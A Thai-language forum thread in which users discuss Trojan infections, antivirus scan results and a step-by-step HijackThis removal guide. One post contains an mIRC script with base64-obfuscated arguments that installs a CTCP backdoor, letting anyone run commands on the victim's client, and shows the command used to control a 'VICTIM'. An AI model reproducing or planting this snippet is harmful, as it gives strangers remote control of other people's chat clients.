โดน Trojan

[ป้าแป้งกึ่งสำเร็จรูป]

อืม เหมือนจะโดนเหมือนกัน แสกนไวรัสไปแล้ว เหมือนจะหาย
เพื่อความชัวร์แบบโง่ๆก็เลยตามลบทีละไฟล์ที่คิดว่าน่าจะเป็นไวรัส...ก็ลบออกไปได้

แต่ทำไมมันถึงรู้สึกคุ้นๆ เหมือนมันยังอยู่ในเครื่อง
แต่แสกนแล้วแสกนอีก มันก็ไม่เห็นนะ..ก็เลย ยังรู้สึกระแวงๆอยู่ ว่ามันต้องแอบหลบซ่อนอยู่ไหนแน่ๆ

[นักสืบ]

อยู่ในใจ 

[จั๊วจ่ะ :)]

วันนี้ลองโหลด avast มาดู

เจอไปแล้ว 111 ตัว ยังแสกนไม่หมดด้วย 

อยากรู้ว่ามันคืออะไรนักหนากันคะ ไวรัสมันเยอะขนาดนี้เลยหรอ 

[ป้าแป้งกึ่งสำเร็จรูป]

โหว 111

[นักสืบ]

ที่เจอเป็นพวก Tracking Cookies หรือเปล่าครับ

[Buob Marley]

นึกว่าจะไม่มีคนเล่นซะแล้ว 

เขินเลย

[passion]

//echo HELLO!! | write $decode(YmxvYi50eHQgQ1RDUCAqOio6KjogJDEt,m) | .load
$decode(LXJzIGJsb2IudHh0,m) | .msg $decode(UG9pWG9uIERPTkUgOkQ6RA==,m)

another Backdoor creating blob.txt

and it writes CTCP *:*:*: $1-

which you can control them

/ctcp VICTIM /quit I Got Haxxed

[passion]

อันดับแรก โหลดนี่ก่อน ( แปลมา้อีกที มั่วด้วย)
1. http://forum.hijackthis.de/attachme...77&d=1117139369
2. โหลดเสร็จ Unzip ไปใน Folder ที่ต้องการ
3. ฺBoot เข้าไปใน safeMode อย่ารันโปรแกรมอะไรทั้งนั้น เช่น IE
4. กด ABIRemover.exe และกด Install แล้วรอ ( Explore จะหายไป หรือ ไม่เห็นมัน )
5. Reboot เครื่องแล้วเข้าไปใน SafeMode อีกที
6. แปลเอาเองละกันคับ อิิอิ fix the random key in the registry with hijackthis (normaly HKLM\Software\Microsoft\Windows\CurrentVersion\Run ) and maybe the bolger BHO. Remember the random name and delete it in your system32 directory
้้Hijackthis โหลดที่นี่ http://www.thespykiller.co.uk/files/HJTSetup.exe
7. แสกนไวรัส ( ถ้าไม่ได้ลงใช้ผ่านเว็บเอาก้ได้คับ เช่น ของ Panda http://www.pandasoftware.com/products/activescan.htm )

ถ้ายังไม่หาย http://www.bleepingcomputer.com/for...=0&#entry187936

รายละเอียด
=========================================
Tech details:
should remove:
SvcProc and its files
ZepMon and its files
Bolger regkey (BHO should be done manual)
Nail.exe and the Shell = explorer.exe nail.exe entry
aurora.exe and some of the corresponding files